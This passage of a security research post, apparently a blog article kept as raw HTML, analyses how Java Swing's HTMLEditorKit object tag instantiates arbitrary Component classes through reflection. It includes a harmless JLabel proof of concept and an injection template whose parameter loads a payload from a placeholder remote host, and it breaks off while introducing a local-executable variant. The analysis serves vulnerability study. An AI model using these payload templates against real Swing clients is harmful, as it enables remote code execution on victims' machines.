border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">For example, the familiar link tag</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.10025062656641603" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="798" src="https://wechat2rss.xlab.app/img-proxy/?k=7c362ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0WUSw7n1ic7IDrNK8T9L7B7zN4hLy3TDQ5YJiaSuCYV6qibly435AYwQlA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">will be associated with the linkaction</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9408695652173913" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1150" src="https://wechat2rss.xlab.app/img-proxy/?k=14191071&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0L49uM7VL33wPqR9Xw3ZSqwPXTvHq8IACibHupbrRsStHq01F24aTHcQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">It will specifically judge whether rel is a stylesheet. If yes, you can use href to import external css, but if you check the attributes supported by link, you will find that there are a lot of types supported in the standard, and there will be a lot of tricky operations, but in Here he only has these two types that actually respond when measured.</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.14701986754966886" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1510" src="https://wechat2rss.xlab.app/img-proxy/?k=b6439155&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0QQPGicbedIz0bsFqSoVzrwfVgYD4ohssf7oe5LunOmdOWQObm2kaMiag%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">From the comments and code, we can also see that the </span><strong style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">script tag is not supported.</strong><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"> In fact, what is written here is not quite right, but at least it can be shown that these tags are not supported or the function is incomplete, which is actually the case. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Then watch another episode</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6572614107883817" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="2410" src="https://wechat2rss.xlab.app/img-proxy/?k=bcea70fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0DWspTlnmEonlEaMMe0uxUCCFEvHQ9d2bpI0gyib0V5PibSk6MA3kzoBQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">In the create method in HTMLEditorKit, you can see that different tags will correspond to the creation of different views</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8002873563218391" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1392" src="https://wechat2rss.xlab.app/img-proxy/?k=e51d4daa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0TUeibA6Hicftv9bWiaT0oYNZFibnDiaJqFO0MQT33p2DeZFj0HM1EyRIOeg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Here comes the key point, first look at the object tag, what is this? </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Let&#39;s follow up</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8682476943346509" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1518" src="https://wechat2rss.xlab.app/img-proxy/?k=52686f8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0pgQcZpOlRVphEb10SceF87oy5GvpmcHR9emgibBib4YX17xLXick2dSnQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">By reading the comments, we can understand that </span><strong style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">this objectview basically instantiates a class that meets the requirements and passes parameters through param! </strong><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"> This has a natural deserialization smell, so this is a very likely breakthrough point for RCE. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">What we can do around this object tag suddenly breaks through from popup images to instantiating arbitrary classes. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Let&#39;s take a look at the subsequent code</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8909825033647375" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1486" src="https://wechat2rss.xlab.app/img-proxy/?k=2b3b526f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0a7IAcou1HjnCTZmic8G8bzXQRqttEYzhhCYoDC2EcFYDBnBKhXdmadQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Obviously, the reflection calls and instantiates the class. It should be noted here that he also adds a restriction judgment, that is, the instance must inherit from Component, otherwise an exception will be thrown. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">This also greatly limits the scope of what we can do. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Let&#39;s continue to follow setParameters to see how parameters are passed</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0318725099601593" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1506" src="https://wechat2rss.xlab.app/img-proxy/?k=5e3c4d7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs00MkZpofX0RbY2ZetrZZvbl1jAhBmJZ3icM3rKhHFWJ1yY3iaa1KMIKKg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">To sum it up:</span></p><ol class="list-paddingleft-1" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 5px;margin-bottom: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 26px;color: rgb(1, 1, 1);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">classid is passed in the class that needs to be instantiated, the class must inherit from Component</span></section></li><li style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 5px;margin-bottom: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 26px;color: rgb(1, 1, 1);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">There must be a no-argument constructor, which seems to be because newinstant is the no-argument constructor called</span></section></li><li style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 5px;margin-bottom: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 26px;color: rgb(1, 1, 1);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">There must be a XXX property of the setXXX method</span></section></li><li style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 5px;margin-bottom: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 26px;color: rgb(1, 1, 1);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">The parameter passed to the setXXX method must accept a parameter of type string</span></section></li></ol><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Therefore, find the classes and properties that meet the above conditions, and then see what can be done after instantiation. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">For example, we can simply test a</span></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.14677103718199608" data-s="300,640" style="" data-type="png" data-w="1022" src="https://wechat2rss.xlab.app/img-proxy/?k=d2f69d0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibN2IAWg2gXW1oSm51cjVib3v3ejgQgYh5wJEJZHbQDq9iaZw6UgyrZ8l0wIAvgSOZXvZibvVsfjBpnQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">You can see that jlabel has a parameterless construction method, and has the properties of setText that meet the conditions</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2423038728897716" data-s="300,640" style="" data-type="png" data-w="1007" src="https://wechat2rss.xlab.app/img-proxy/?k=35c345b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibN2IAWg2gXW1oSm51cjVib3tnwVLR7SAM1aUrK6vIuVibWz5dTE98Wj5ibt2WTJm5DSH4QFAYPibNJMg%2F640%3Fwx_fmt%3Dpng"/><img data-w="718" style="color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-ratio="0.2479108635097493" src="https://wechat2rss.xlab.app/img-proxy/?k=d30971f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0tQcGNw4ibgoooPW0zFTcvsH16uJaVR6WniaUzib9FDbh2cibvHjnwUFS9w%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/><span style="color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"></span></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Then we can construct</span></p><pre style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><code style="padding: 15px 16px 16px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;overflow-wrap: break-word !important;">&lt;html&gt;&lt;object classid=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;javax.swing.JLabel&#39;</span>&gt;&lt;parame name=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;Text&#39;</span> value=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;hahaha&#39;</span>&gt;<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></code></pre><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7083333333333334" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 336px !important;" data-type="png" data-w="336" src="https://wechat2rss.xlab.app/img-proxy/?k=651f2045&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0F5QSQnBydq1fnfBevHD9TTqeL9bItfOLALzkhnGsH0HQCmasAJ7OTA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">In fact, it becomes a search for qualified classes and methods from the lib package to see if RCE can be finally achieved. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Before looking for eligible classes, let&#39;s take a look at this tag. Suppose we have found a chain that can RCE, what does it look like?</span></span></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Load a remote payload, such as jndi or something</span></p><pre style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><code style="padding: 15px 16px 16px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;overflow-wrap: break-word !important;">&lt;html&gt;&lt;object classid=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;xxx.xxx.xxx.xxx&#39;</span>&gt;&lt;parame name=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;XXX&#39;</span> value=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;<a href="http://xxx.xxx.xxx.xxx/payload" target="_blank">http://xxx.xxx.xxx.xxx/payload</a>&#39;</span>&gt;<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></code></pre><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Or open a local exe directly</span></p><pre style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;overflow: auto;border-radius: 